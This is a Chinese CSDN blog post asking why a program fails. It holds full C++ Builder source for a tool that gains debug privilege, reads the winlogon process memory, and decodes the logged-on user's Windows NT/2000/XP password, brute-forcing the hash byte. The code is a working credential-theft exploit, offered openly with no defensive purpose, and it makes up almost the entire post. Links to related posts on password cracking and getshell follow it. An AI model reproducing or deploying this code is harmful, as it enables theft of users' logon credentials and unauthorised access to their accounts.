获取XP系统用户名和密码,怎么不行啊,那位高手帮一一下,,

最新推荐文章于 2021-06-17 11:07:23 发布
最新推荐文章于 2021-06-17 11:07:23 发布
阅读量1.8k 收藏
点赞数
文章标签： xp string allocation system token header
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lixiaoxiao25/article/details/2100058
版权

        //---------------------------------------------------------------------------

 
   
  #include   <vcl.h>  
  #pragma   hdrstop
  #include  "stdio.h"
  #include   "Unit1.h"  
  //---------------------------------------------------------------------------  
  #pragma   package(smart_init)  
  #pragma   resource   "*.dfm"
  void   ReturnWin2kPwd(String   &strCurrDomain,   String   &strCurrUser,   String   &strCurrPwd);
  BOOL   IsWinNT(void);
  BOOL   IsWin2K(void);
  BOOL   AddDebugPrivilege(void)  ;
  DWORD   FindWinLogon(void);
  BOOL   LocatePasswordPageWin2K(DWORD   dwWinLogonPID,   PDWORD   pdwPwdLen);
  void   ReturnWinNTPwd(String   &strCurrDomain,   String   &strCurrUser,   String   &strCurrPwd ) ;
  BOOL   LocatePasswordPageWinNT(DWORD   dwWinLogonPID,   PDWORD   pdwPwdLen);
  TForm1 *  Form1;
     typedef   struct   _UNICODE_STRING
  {  
          USHORT   Length;  
          USHORT   MaximumLength;  
          PWSTR   Buffer;  
  }UNICODE_STRING,   *PUNICODE_STRING;  
  typedef   struct   _QUERY_SYSTEM_INFORMATION  
  {  
          DWORD   GrantedAccess;  
          DWORD   PID;  
          WORD   HandleType;  
          WORD   HandleId;  
          DWORD   Handle;  
  }QUERY_SYSTEM_INFORMATION,   *PQUERY_SYSTEM_INFORMATION;  
  typedef   struct   _PROCESS_INFO_HEADER  
  {  
          DWORD   Count;  
          DWORD   Unk04;  
          DWORD   Unk08;  
  }PROCESS_INFO_HEADER,   *PPROCESS_INFO_HEADER;  
  typedef   struct   _PROCESS_INFO  
  {  
          DWORD   LoadAddress;  
          DWORD   Size;  
          DWORD   Unk08;  
          DWORD   Enumerator;  
          DWORD   Unk10;  
          char   Name   [0x108];  
  }PROCESS_INFO,   *PPROCESS_INFO;  
  typedef   struct   _ENCODED_PASSWORD_INFO  
  {  
          DWORD   HashByte;  
          DWORD   Unk04;  
          DWORD   Unk08;  
          DWORD   Unk0C;  
          FILETIME   LoggedOn;  
          DWORD   Unk18;  
          DWORD   Unk1C;  
          DWORD   Unk20;  
          DWORD   Unk24;  
          DWORD   Unk28;  
          UNICODE_STRING   EncodedPassword;  
  }ENCODED_PASSWORD_INFO,   *PENCODED_PASSWORD_INFO;
              typedef   DWORD   (__stdcall   *PFNNTQUERYSYSTEMINFORMATION)     (DWORD,   PVOID,   DWORD,   PDWORD);  
  typedef   PVOID   (__stdcall   *PFNRTLCREATEQUERYDEBUGBUFFER)   (DWORD,   DWORD);  
  typedef   DWORD   (__stdcall   *PFNRTLQUERYPROCESSDEBUGINFORMATION)   (DWORD,   DWORD,   PVOID);  
  typedef   void   (__stdcall   *PFNRTLDESTROYQUERYDEBUGBUFFER)   (PVOID);  
  typedef   void   (__stdcall   *PFNTRTLRUNDECODEUNICODESTRING)     (BYTE,   PUNICODE_STRING);
  PFNNTQUERYSYSTEMINFORMATION                 pfnNtQuerySystemInformation;
  PFNRTLCREATEQUERYDEBUGBUFFER               pfnRtlCreateQueryDebugBuffer;
  PFNRTLQUERYPROCESSDEBUGINFORMATION   pfnRtlQueryProcessDebugInformation;  
  PFNRTLDESTROYQUERYDEBUGBUFFER             pfnRtlDestroyQueryDebugBuffer;  
  PFNTRTLRUNDECODEUNICODESTRING             pfnRtlRunDecodeUnicodeString;  
   
  DWORD   dwPwdLen   =   0;
  PVOID   pvRealPwd   =   NULL;  
  PVOID   pvPwd   =   NULL;  
  DWORD   dwHashByte   =   0;  
  wchar_t   wszUserName[0x400];  
  wchar_t   wszUserDomain[0x400];  
  //---------------------------------------------------------------------------  
  __fastcall   TForm1::TForm1(TComponent*   Owner)  
                  :   TForm(Owner)  
  {  
  }  
  //---------------------------------------------------------------------------  
  bool   GetPassword(String   &strCurrDomain,   String   &strCurrUser,   String   &strCurrPwd)  
  {  
          if(!IsWinNT()&&!IsWin2K())
          {
                  //   只适合于2000或者xp
            Form1->Memo1->Lines->Clear();  
            AnsiString   lsz;  
            lsz="密码查看只适合于2000或者xp。";  
            Form1->Memo1->Lines->Add(lsz);  
            return   false;  
          }  
          //   Add   debug   privilege   to   PasswordReminder   -  
          //   this   is   needed   for   the   search   for   Winlogon.  
          if(!AddDebugPrivilege())
          {  
                  //   不能够添加debug特权  
                  return   false;  
          }  
          //   debug特权已经成功加入到本程序  
          HINSTANCE   hNtDll   =   LoadLibrary("NTDLL.DLL");  
          pfnNtQuerySystemInformation   =   (PFNNTQUERYSYSTEMINFORMATION)  
                          GetProcAddress(hNtDll,"NtQuerySystemInformation");  
          pfnRtlCreateQueryDebugBuffer   =   (PFNRTLCREATEQUERYDEBUGBUFFER)  
                          GetProcAddress(hNtDll,"RtlCreateQueryDebugBuffer");  
          pfnRtlQueryProcessDebugInformation   =(PFNRTLQUERYPROCESSDEBUGINFORMATION)  
                          GetProcAddress(hNtDll,"RtlQueryProcessDebugInformation");  
          pfnRtlDestroyQueryDebugBuffer   =         (PFNRTLDESTROYQUERYDEBUGBUFFER)  
                          GetProcAddress(hNtDll,"RtlDestroyQueryDebugBuffer");  
          pfnRtlRunDecodeUnicodeString   =(PFNTRTLRUNDECODEUNICODESTRING)  
                          GetProcAddress(hNtDll,"RtlRunDecodeUnicodeString");  
          //   Locate   WinLogon's   PID   -   need   debug   privilege   and   admin   rights.  
          DWORD   dwWinLogonPID   =   FindWinLogon   ();
          if(!dwWinLogonPID)  
          {  
                  //   找不到进程WinLogon   或者正在使用   NWGINA.DLL  
                  //   导致不能在内存中找到密码  
                  FreeLibrary(hNtDll);  
                  return   false;  
          }  
          //   Format("主进程WinLogon的id是   %d   (0x%8.8x)./n",  
          //   ARRAYOFCONST(((int)dwWinLogonPID,   (int)dwWinLogonPID))));  
          //   Set   values   to   check   memory   block   against.  
          memset(wszUserName,   0,   sizeof   (wszUserName));  
          memset(wszUserDomain,   0,   sizeof   (wszUserDomain));  
          GetEnvironmentVariableW(L"USERNAME",wszUserName,0x400);  
          GetEnvironmentVariableW(L"USERDOMAIN",   wszUserDomain,   0x400);  
   
          //   Locate   the   block   of   memory   containing  
          //   the   password   in   WinLogon's   memory   space.  
          BOOL   bFoundPasswordPage;  
          //bFoundPasswordPage   =   FALSE;  
          if(IsWin2K())  
                  bFoundPasswordPage   =   LocatePasswordPageWin2K(dwWinLogonPID,   &dwPwdLen);
                  //bFoundPasswordPage   =   LocatePasswordPageWinNT(dwWinLogonPID,   &dwPwdLen);  
          else  
                  bFoundPasswordPage   =   LocatePasswordPageWinNT(dwWinLogonPID,   &dwPwdLen);
          if(bFoundPasswordPage)
          {  
                  if(dwPwdLen   ==   0)  
                  {  
                    //ShowMessage(Format("登陆信息为:   域名：%S     用户名：%S,系统没有密码。/n",  
                    //         ARRAYOFCONST((wszUserDomain,   wszUserName))));  
                          //   密码长度为空，系统没有密码  
                    strCurrDomain=wszUserDomain;  
                    strCurrUser=wszUserName;  
                  }  
                  else  
                  {  
                          //   Format("找到了密码，长度为%d/n",   ARRAYOFCONST(((int)dwPwdLen))));  
                          //   Decode   the   password   string.  
                          if(IsWin2K())  
                                  ReturnWin2kPwd(strCurrDomain,   strCurrUser,   strCurrPwd);  
                          else  
                                  ReturnWinNTPwd(strCurrDomain,   strCurrUser,   strCurrPwd);  
                  }  
          }  
          else  
          {  
                  FreeLibrary(hNtDll);  
                  return   false;  
          }//   没有在内存中间找到密码  
          return   true;  
  }  
  //---------------------------------------------------------------------------  
   
   
  BOOL   IsWinNT(void)  
  {  
          OSVERSIONINFO   OSVersionInfo;  
          OSVersionInfo.dwOSVersionInfoSize   =   sizeof   (OSVERSIONINFO);  
          if(GetVersionEx(&OSVersionInfo))  
                  return   (OSVersionInfo.dwPlatformId   ==   VER_PLATFORM_WIN32_NT);  
          else  
                  return   (FALSE);  
  }  
  //---------------------------------------------------------------------------  
  BOOL   IsWin2K(void)  
  {  
          OSVERSIONINFO   OSVersionInfo;  
          OSVersionInfo.dwOSVersionInfoSize   =   sizeof   (OSVERSIONINFO);  
          if   (GetVersionEx(&OSVersionInfo))  
                  return   ((OSVersionInfo.dwPlatformId   ==   VER_PLATFORM_WIN32_NT)  
                                  &&   (OSVersionInfo.dwMajorVersion   ==   5));  
          else  
                  return   (FALSE);  
  }  
  //---------------------------------------------------------------------------  
  BOOL   AddDebugPrivilege(void)  
  {  
          HANDLE   Token;  
          TOKEN_PRIVILEGES   TokenPrivileges,   PreviousState;  
          DWORD   ReturnLength   =   0;  
          if(OpenProcessToken(GetCurrentProcess(),   TOKEN_QUERY   |   TOKEN_ADJUST_PRIVILEGES,   &Token))  
                  if(LookupPrivilegeValue(NULL,   "SeDebugPrivilege",   &TokenPrivileges.Privileges[0].Luid))  
                  {  
                          TokenPrivileges.PrivilegeCount   =   1;  
                          TokenPrivileges.Privileges[0].Attributes   =   SE_PRIVILEGE_ENABLED;  
                          return   (AdjustTokenPrivileges(Token,   FALSE,   &TokenPrivileges,  
                                          sizeof   (TOKEN_PRIVILEGES),   &PreviousState,   &ReturnLength));  
                  }  
          return   (FALSE);  
  }  
   
  //---------------------------------------------------------------------------  
//   Note   that   the   following   code   eliminates   the   need  
  //   for   PSAPI.DLL   as   part   of   the   executable.  
  DWORD   FindWinLogon(void)  
  {  
          #define   INITIAL_ALLOCATION   0x100  
          DWORD   dwRc   =   0;  
          DWORD   dwSizeNeeded   =   0;  
          PVOID   pvInfo   =   HeapAlloc(GetProcessHeap(),   HEAP_ZERO_MEMORY,   INITIAL_ALLOCATION);  
          //   Find   how   much   memory   is   required.  
          pfnNtQuerySystemInformation(0x10,   pvInfo,   INITIAL_ALLOCATION,   &dwSizeNeeded);  
          HeapFree(GetProcessHeap(),   0,   pvInfo);  
          //   Now,   allocate   the   proper   amount   of   memory.  
          pvInfo   =   HeapAlloc(GetProcessHeap(),   HEAP_ZERO_MEMORY,   dwSizeNeeded);  
          DWORD   dwSizeWritten   =   dwSizeNeeded;  
          if(pfnNtQuerySystemInformation(0x10,   pvInfo,   dwSizeNeeded,   &dwSizeWritten))  
          {  
                  HeapFree(GetProcessHeap(),   0,   pvInfo);  
                  return   (0);  
          }  
          DWORD   dwNumHandles   =   dwSizeWritten   /   sizeof   (QUERY_SYSTEM_INFORMATION);  
          if(dwNumHandles   ==   0)  
          {  
                  HeapFree(GetProcessHeap(),   0,   pvInfo);  
                  return   (0);  
          }  
          PQUERY_SYSTEM_INFORMATION   QuerySystemInformationP   =  
                  (PQUERY_SYSTEM_INFORMATION)   pvInfo;  
          try  
          {  
                  for(DWORD   i=1;   i<=dwNumHandles;   i++)  
                  {  
                          //   "5"   is   the   value   of   a   kernel   object   type   process.  
                          if   (QuerySystemInformationP->HandleType   ==   5)  
                          {  
                                  PVOID   pvDebugBuffer   =   pfnRtlCreateQueryDebugBuffer(0,   0);  
                                  if(pfnRtlQueryProcessDebugInformation  
                                                  (QuerySystemInformationP->PID,   1,   pvDebugBuffer)   ==   0)  
                                  {  
                                          PPROCESS_INFO_HEADER   pihProcessInfoHeader   =  
                                                  (PPROCESS_INFO_HEADER)((DWORD)pvDebugBuffer   +   0x60);  
                                          DWORD   dwCount   =   pihProcessInfoHeader->Count;  
                                          PPROCESS_INFO   piProcessInfo   =   (PPROCESS_INFO)  
                                                  ((DWORD)pihProcessInfoHeader   +   sizeof   (PROCESS_INFO_HEADER));  
                                          //   Form1->Memo1->Lines->Add(piProcessInfo->Name);  
                                          AnsiString   strName   =   piProcessInfo->Name;  
                                          //   if(strstr((char   *)UpCase(*piProcessInfo->Name),   "WINLOGON")   !=   0)  
                                          if(strName.UpperCase().Pos("WINLOGON")   !=   0)  
                                          {  
                                                  DWORD   dwTemp   =   (DWORD)piProcessInfo;  
                                                  for   (DWORD   j=0;   j<dwCount;   j++)  
                                                  {  
                                                          dwTemp   +=   sizeof   (PROCESS_INFO);  
                                                          piProcessInfo   =   (PPROCESS_INFO)dwTemp;  
                                                          strName   =   piProcessInfo->Name;  
                                                          if(strName.UpperCase().Pos("NWGINA")   !=0   )  
                                                                  return   (0);  
                                                          if(strName.UpperCase().Pos("MSGINA")   !=0   )  
                                                                  dwRc   =QuerySystemInformationP->PID;  
                                                  }  
                                                  if(pvDebugBuffer)  
                                                          pfnRtlDestroyQueryDebugBuffer(pvDebugBuffer);  
                                                  HeapFree(GetProcessHeap(),   0,   pvInfo);  
                                                  return   (dwRc);  
                                          }  
                                  }  
                                  if   (pvDebugBuffer)  
                                          pfnRtlDestroyQueryDebugBuffer(pvDebugBuffer);  
                          }  
                          DWORD   dwTemp   =   (DWORD)QuerySystemInformationP;  
                          dwTemp   +=   sizeof(QUERY_SYSTEM_INFORMATION);  
                          QuerySystemInformationP   =   (PQUERY_SYSTEM_INFORMATION)dwTemp;  
                  }  
          }  
          catch(...)  
          {}  
          HeapFree(GetProcessHeap(),   0,   pvInfo);  
          return   (dwRc);  
  }  
  //---------------------------------------------------------------------------  
   
   
  BOOL   LocatePasswordPageWinNT(DWORD   dwWinLogonPID,   PDWORD   pdwPwdLen)  
  {  
          #define   USER_DOMAIN_OFFSET_WINNT       0x200  
          #define   USER_PASSWORD_OFFSET_WINNT   0x400  
          BOOL   bRc   =   FALSE;  
          HANDLE   hWinLogonHandle   =   OpenProcess(PROCESS_QUERY_INFORMATION   |   PROCESS_VM_READ,  
                          FALSE,   dwWinLogonPID);  
          if(!hWinLogonHandle)  
                  return   (bRc);  
          *pdwPwdLen   =   0;  
          SYSTEM_INFO   siSystemInfo;  
          GetSystemInfo(&siSystemInfo);  
          DWORD   dwPEB   =   0x7ffdf000;  
          DWORD   dwBytesCopied   =   0;  
          PVOID   pvEBP   =   HeapAlloc(GetProcessHeap(),   HEAP_ZERO_MEMORY,   siSystemInfo.dwPageSize);  
          if(!ReadProcessMemory(hWinLogonHandle,   (PVOID)dwPEB,   pvEBP,  
                          siSystemInfo.dwPageSize,   &dwBytesCopied))  
          {  
                  CloseHandle(hWinLogonHandle);  
                  return   (bRc);  
          }  
          //   Grab   the   value   of   the   2nd   DWORD   in   the   TEB.  
          PDWORD   pdwWinLogonHeap   =   (PDWORD)((DWORD)pvEBP   +   (6   *   sizeof   (DWORD)));  
          MEMORY_BASIC_INFORMATION   mbiMemoryBasicInfor;  
          if(VirtualQueryEx(hWinLogonHandle,   (PVOID)   *pdwWinLogonHeap,  
                          &mbiMemoryBasicInfor,   sizeof(MEMORY_BASIC_INFORMATION)))  
                  if(((mbiMemoryBasicInfor.State   &   MEM_COMMIT)   ==   MEM_COMMIT)   &&  
                                  ((mbiMemoryBasicInfor.Protect   &   PAGE_GUARD)   ==   0))  
                  {  
                          PVOID   pvWinLogonMem   =   HeapAlloc(GetProcessHeap(),   HEAP_ZERO_MEMORY,  
                                          mbiMemoryBasicInfor.RegionSize);  
                          if(ReadProcessMemory(hWinLogonHandle,   (PVOID)*pdwWinLogonHeap,  
                                          pvWinLogonMem,   mbiMemoryBasicInfor.RegionSize,   &dwBytesCopied))  
                          {  
                                  DWORD   i   =   (DWORD)pvWinLogonMem;  
                                  DWORD   dwUserNamePos   =   0;  
                                  //   The   order   in   memory   is   wszUserName   followed   by   the   wszUserDomain.  
                                  do  
                                  {  
                                          if((wcscmp(wszUserName,   (wchar_t   *)i)   ==   0)   &&  
                                                          (wcscmp(wszUserDomain,   (wchar_t   *)  
                                                          (i   +   USER_DOMAIN_OFFSET_WINNT))   ==   0))  
                                          {  
                                                  dwUserNamePos   =   i;  
                                                  break;  
                                          }  
                                          i   +=   2;  
                                  }while(i   <   (DWORD)pvWinLogonMem   +   mbiMemoryBasicInfor.RegionSize);  
                                  if(dwUserNamePos)  
                                  {  
                                          PENCODED_PASSWORD_INFO   pepiEncodedPwdInfo   =  
                                                          (PENCODED_PASSWORD_INFO)((DWORD)dwUserNamePos   +  
                                                          USER_PASSWORD_OFFSET_WINNT);  
                                          FILETIME   ftLocalFileTime;  
                                          SYSTEMTIME   stSystemTime;  
                                          if(FileTimeToLocalFileTime(&pepiEncodedPwdInfo->LoggedOn,  
                                                  &ftLocalFileTime))  
                                                  if(FileTimeToSystemTime(&ftLocalFileTime,   &stSystemTime))  
                                                  {}  
                                                  //   Format("你的登陆时间为：   %d/%d/%d   %d:%d:%d/n",  
                                                  //   ARRAYOFCONST((stSystemTime.wMonth,   stSystemTime.wDay,  
                                                  //   stSystemTime.wYear,   stSystemTime.wHour,  
                                                  //   stSystemTime.wMinute,   stSystemTime.wSecond))));  
                                          *pdwPwdLen   =   (pepiEncodedPwdInfo->EncodedPassword.Length  
                                                          &   0x00ff)   /   sizeof   (wchar_t);  
                                          dwHashByte   =   (pepiEncodedPwdInfo->EncodedPassword.Length  
                                                          &   0xff00)   >>   8;  
                                          pvRealPwd   =   (PVOID)(*pdwWinLogonHeap   +   (dwUserNamePos   -  
                                                          (DWORD)pvWinLogonMem)   +   USER_PASSWORD_OFFSET_WINNT   +   0x34);  
                                          pvPwd   =   (PVOID)((PBYTE)(dwUserNamePos   +  
                                                          USER_PASSWORD_OFFSET_WINNT   +   0x34));  
                                          bRc   =   TRUE;  
                                  }  
                          }  
                  }  
          HeapFree(GetProcessHeap(),   0,   pvEBP);  
          CloseHandle(hWinLogonHandle);  
          return   (bRc);  
  }  
  //---------------------------------------------------------------------------  
 BOOL   LocatePasswordPageWin2K(DWORD   dwWinLogonPID,   PDWORD   pdwPwdLen)  
  {  
          #define   USER_DOMAIN_OFFSET_WIN2K         0x400  
          #define   USER_PASSWORD_OFFSET_WIN2K         0x800  
          HANDLE   hWinLogonHandle   =   OpenProcess(PROCESS_QUERY_INFORMATION   |  
                          PROCESS_VM_READ,   FALSE,   dwWinLogonPID);  
          if(hWinLogonHandle   ==   0)  
                  return   (FALSE);  
          *pdwPwdLen   =   0;  
          SYSTEM_INFO   siSystemInfo;  
          GetSystemInfo(&siSystemInfo);  
          DWORD   i   =   (DWORD)siSystemInfo.lpMinimumApplicationAddress;  
          DWORD   dwMaxMemory   =   (DWORD)   siSystemInfo.lpMaximumApplicationAddress;  
          DWORD   dwIncrement   =   siSystemInfo.dwPageSize;  
          MEMORY_BASIC_INFORMATION   mbiMemoryBasicInfor;  
          while(i   <   dwMaxMemory)  
          {  
                  if(VirtualQueryEx(hWinLogonHandle,   (PVOID)i,   &mbiMemoryBasicInfor,  
                                  sizeof   (MEMORY_BASIC_INFORMATION)))  
                  {  
                          dwIncrement   =   mbiMemoryBasicInfor.RegionSize;  
                          if   (((mbiMemoryBasicInfor.State   &   MEM_COMMIT)   ==   MEM_COMMIT)   &&  
                                          ((mbiMemoryBasicInfor.Protect   &   PAGE_GUARD)   ==   0))  
                          {  
                                  PVOID   pvRealStartingAddress   =   HeapAlloc(GetProcessHeap(),  
                                                  HEAP_ZERO_MEMORY,   mbiMemoryBasicInfor.RegionSize);  
                                  DWORD   dwBytesCopied   =   0;  
                                  if(ReadProcessMemory(hWinLogonHandle,   (PVOID)i,   pvRealStartingAddress,  
                                                  mbiMemoryBasicInfor.RegionSize,   &dwBytesCopied))  
                                  {  
                                      //     if((wcscmp((wchar_t   *)pvRealStartingAddress,   wszUserName)   ==   0)  
                                      //                     &&   (wcscmp((wchar_t   *)((DWORD)pvRealStartingAddress   +  
                                      //                     USER_DOMAIN_OFFSET_WIN2K),   wszUserDomain)   ==   0))  
                                      AnsiString   lsz1=(wchar_t   *)pvRealStartingAddress;  
                                      AnsiString   lsz2=wszUserName;  
                                      if(lsz1.UpperCase()==lsz2.UpperCase()&&(wcscmp((wchar_t   *)((DWORD)pvRealStartingAddress   +  
                                                          USER_DOMAIN_OFFSET_WIN2K),   wszUserDomain)   ==   0))  
   
                                          {  
                                                  pvRealPwd   =   (PVOID)(i   +   USER_PASSWORD_OFFSET_WIN2K);  
                                                  pvPwd   =   (PVOID)((DWORD)pvRealStartingAddress   +  
                                                                  USER_PASSWORD_OFFSET_WIN2K);  
                                                  //   Calculate   the   length   of   encoded   unicode   string.  
                                                  PBYTE   pbTemp   =   (PBYTE)pvPwd;  
                                                  DWORD   dwLoc   =   (DWORD)pbTemp;  
                                                  DWORD   dwLen   =   0;  
                                                  if((*pbTemp   ==   0)   &&   (*(PBYTE)((DWORD)pbTemp   +   1)   ==   0))  
                                                  {}  
                                                  else  
                                                          do  
                                                          {  
                                                                  dwLen++;  
                                                                  dwLoc   +=   2;  
                                                                  pbTemp   =   (PBYTE)   dwLoc;  
                                                          }while(*pbTemp   !=   0);  
                                                  *pdwPwdLen   =   dwLen;  
                                                  CloseHandle(hWinLogonHandle);  
                                                  return   (TRUE);  
                                          }  
                                  }  
                                  HeapFree(GetProcessHeap(),   0,   pvRealStartingAddress);  
                          }  
                  }  
                  else  
                          dwIncrement   =   siSystemInfo.dwPageSize;  
                  //   Move   to   next   memory   block.  
                  i   +=   dwIncrement;  
          }  
          CloseHandle(hWinLogonHandle);  
          return   (FALSE);  
  }  
  //---------------------------------------------------------------------------  
  void   ReturnWinNTPwd(String   &strCurrDomain,   String   &strCurrUser,   String   &strCurrPwd)  
  {  
          UNICODE_STRING   usEncodedString;  
          usEncodedString.Length   =   (WORD)dwPwdLen   *   sizeof(wchar_t);  
          usEncodedString.MaximumLength   =  
                  ((WORD)dwPwdLen   *   sizeof   (wchar_t))   +   sizeof(wchar_t);  
          usEncodedString.Buffer   =   (PWSTR)HeapAlloc(GetProcessHeap(),  
                          HEAP_ZERO_MEMORY,   usEncodedString.MaximumLength);  
          CopyMemory(usEncodedString.Buffer,   pvPwd,   dwPwdLen   *   sizeof(wchar_t));  
          //   Finally   -   decode   the   password.  
          //   Note   that   only   one   call   is   required   since   the   hash-byte  
          //   was   part   of   the   orginally   encoded   string.  
          pfnRtlRunDecodeUnicodeString((BYTE)dwHashByte,   &usEncodedString);  
          strCurrDomain   =   String(wszUserDomain);  
          strCurrUser   =   String(wszUserName);  
          strCurrPwd   =   AnsiString(usEncodedString.Buffer);  
          //   Format("你的登陆信息是     域名：%S       用户名：%S     密码：%S/n",  
          //   ARRAYOFCONST((wszUserDomain,   wszUserName,   usEncodedString.Buffer))));  
          //   Format("The   hash   byte   is:   0x%2.2x./n",   ARRAYOFCONST(((int)dwHashByte))));  
          HeapFree(GetProcessHeap(),   0,   usEncodedString.Buffer);  
  }  
  //---------------------------------------------------------------------------  
   
   
   
   
  void   ReturnWin2kPwd(String   &strCurrDomain,   String   &strCurrUser,   String   &strCurrPwd)  
  {  
          //   DWORD   dwHash   =   0;  
          UNICODE_STRING   usEncodedString;  
          usEncodedString.Length   =   (USHORT)dwPwdLen   *   sizeof(wchar_t);  
          usEncodedString.MaximumLength   =  
                  ((USHORT)dwPwdLen   *   sizeof(wchar_t))   +   sizeof(wchar_t);  
          usEncodedString.Buffer   =   (PWSTR)HeapAlloc(GetProcessHeap(),  
                          HEAP_ZERO_MEMORY,   usEncodedString.MaximumLength);  
          //   This   is   a   brute   force   technique   since   the   hash-byte  
          //   is   not   stored   as   part   of   the   encoded   string   -   :>(.  
          for(DWORD   i=0;   i<=0xff;   i++)  
          {  
                  CopyMemory(usEncodedString.Buffer,   pvPwd,   dwPwdLen   *   sizeof   (wchar_t));  
                  //   Finally   -   try   to   decode   the   password.  
                  pfnRtlRunDecodeUnicodeString((BYTE)i,   &usEncodedString);  
                  //   Check   for   a   viewable   password.  
                  PBYTE   pbTemp   =   (PBYTE)usEncodedString.Buffer;  
                  BOOL   bViewable   =   TRUE;  
                  DWORD   j,   k;  
                  for(j=0;   (j<dwPwdLen)   &&   bViewable;   j++)  
                  {  
                          if((*pbTemp)   &&   (*(PBYTE)(DWORD(pbTemp)   +   1)   ==   0))  
                          {  
                                  if(*pbTemp   <   0x20)  
                                          bViewable   =   FALSE;  
                                  if(*pbTemp   >   0x7e)  
                                          bViewable   =   FALSE;  
                          }  
                          else  
                                  bViewable   =   FALSE;  
                          k   =   DWORD(pbTemp);  
                          k   +=   2;  
                          pbTemp   =   (PBYTE)k;  
                  }  
                  if(bViewable)  
                  {
                          strCurrDomain   =   String(wszUserDomain);  
                          strCurrUser   =   String(wszUserName);  
                          strCurrPwd   =   String(usEncodedString.Buffer);  
                          //   Format("你的登陆信息为:   域名：%S     用户名：%S     密码：%S/n",  
                          //   ARRAYOFCONST((wszUserDomain,   wszUserName,   usEncodedString.Buffer))));  
                          //   Format("The   hash   byte   is:   0x%2.2x./n",   ARRAYOFCONST(((int)i))));  
                  }  
          }  
          HeapFree(GetProcessHeap(),   0,   usEncodedString.Buffer);  
  }  
  //---------------------------------------------------------------------------  

   

 


void __fastcall TForm1::Button1Click(TObject *Sender)
{     String strCurrDomain, strCurrUser, strCurrPwd;
    GetPassword(strCurrDomain, strCurrUser, strCurrPwd);
    Memo1->Lines->Add(strCurrDomain);
    Memo1->Lines->Add(strCurrUser);
    Memo1->Lines->Add(strCurrPwd);

 

}
//---------------------------------------------------------------------------
 

lixiaoxiao25
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
***实战：使用Ophcrack破解系统Hash密码
weixin_34387468的博客
12-24 380
***实战：使用Ophcrack破解系统Hash密码 Simeon    最近应antian365团队的安全课题研究，我负责进行系统口令***密码破解子课题的研究，不研究还不知道，研究后感觉在安全的领域，越是深入，越是感觉自己了解的东西太少，在密码破解上，平常用得最多的是LC5，关于使用LC5如何破解口令，请看团队撰写的《系统口令安全与审计》，LC5破解时间相对较长，一直以来俺都沾沾自喜，感觉...
锐捷客户端密码分析
热门推荐
卢昊的专栏
10-15 1万+
锐捷客户端密码分析 代码下载地址：http://download.csdn.net/detail/zerolusta/4072516 　　前几天下午一个计科的哥们在校内说，锐捷上网密码忘了要去工学部网络中心找回来。 天正大雨赶过去麻烦，但还没来得及跟他说就已经过去了。我想起了大一的时候用某些星号 密码查看工具是能够从内存获取到锐捷登陆框中的密码明文的，前提是你的正确密码被锐捷 保存在
查看XP用户账户密码
02-10
可查看windowsxp 用户账户密码 先安装程序，然后在安装文件夹内打开查看程序查看
怎样使 WinXP 启动时不用输入用户名和密码即自动进入系统到桌面？
Jimcn2009的专栏
02-15 730
在Windows   XP中单击“开始→运行”，输入“rundll32   netplwiz.dll,UsersRunDll”（注意大小写及空格），然后进入“用户账户”操作窗口，取消对“要使用本机，用户必须输入用户名及密码”项的选择。在接下来弹出的对话框中输入你想让电脑每次自动登录的账户名及其密码
locate password in windows 2000
玄冰幽阁
01-31 1182
//#include #include #include #include #include "afx.h"typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocumented typedef
xp计算机用户名和密码忘记了怎么办,忘记ＸＰ的用户名和密码怎么办？
weixin_29000891的博客
06-17 3238
解决方法一、用net命令(假设忘记密码的用户名为LUOYONG)我们知道在WindowsXP中提供了“netuser”命令,该命令可以添加、修改用户账户信息,其语法格式为:netuser[UserName[Password|*][options]][/domain]netuser[UserName{Password|*}/add[options][/domain]netuser[UserName[...
getshell之后难忘的经历
蚁景网安学院
09-12 614
1前言背景是这样的，大佬moza在两台服务器搭了一道题，说是组合getshell问过Moza大佬，说投稿前要打码。2整理思路直接测试第二个，加了waf的那台服务器打开链接，发现有部分...
菜鸟TO高手XP使用技巧
04-16
在《菜鸟TO高手XP使用技巧》的描述中提到了在已有Windows XP系统的电脑上安装Windows 2000的问题。这是一个常见的需求，尤其是在需要同时使用不同版本的操作系统进行软件兼容性测试或满足特定工作环境的情况下。 1....
WMI 脚本高手不完全手册
09-05
1. 获取WMI对象管理空间：通过GetObject函数获取指定计算机的WMI对象空间，如果是本机操作可以不用用户名和密码，如果操作远程计算机则需要提供用户名和密码。 2. 执行WMI数据对象查询：通过调用WMI服务的ExecQuery...
获取Shell后的操作
墨鱼菜鸡
06-21 1086
对于Windows系统主机和Linux系统主机，获取Shell后的操作都不同。 Windows 当我们通过对Web服务器进行渗透，拿到了该Web服务器的shell后，可以执行系统命令后，我们该如何操作呢？ 第一步，先whoami 查看用户身份，如果是系统用户那就再好不过了，如果是普通用户的话，就得...
利用MSSQL getshell
浅笑996的博客
11-17 1万+
此次复现使用的sql server 2000 和sql server 2008两个环境进行的 是在已知数据库密码的基础上进行的 0x01 MSSQL连接 连接MSSQL 2000 新建连接： 填写目的IP、目的端口、用户名、密码： 一直下一步，完成后，数据库导航窗口会出现一个连接，双击连接： 若是第一次连接，双击会提示下载驱动文件，若不成功，需多次反复尝试 新建SQL编辑器即可执行SQL语...
c#获取xp系统信息的几种方法
weixin_34150830的博客
08-31 217
所谓系统信息,就是指计算机的软件硬件信息,硬件如CPU主频、网卡名称等，软件信息就如操作系统目录，用户目录等。在平常的编程中，我们往往要用到这些系 统信息，读取系统信息对于编程还是很重要的，.NET提 供了很便利的方法，本文提供了三种方法来从各个方面对系统信息进行读取。 第一种方法:用SystemInformation 类 SystemInformation 提供静态方法和属性,它们可用于获取诸...
轻松获取windows 明文登录密码（入侵提权后）
byteway的专栏
04-02 9299
一款获取Windows明文密码的小工具，自己在XP，windows 7 旗舰版上测试成功的。 简单原理： windows 将登录密码加密后没有存文件，而是存在内存中，这样只要我们找到对应的内存段，然后解密那块内存，明文密码就到手了，这里已知windows 的加密密码内存段是在lsass的进程空间里，好了，黑阔们，只要注入到他的进程空间，定位到那块内存，剩下的事就是逆向一个字符串加密算法的过程了，
xp计算机用户名和密码忘记了怎么办,XP系统开机密码忘记了怎么办？
weixin_42357618的博客
06-17 3770
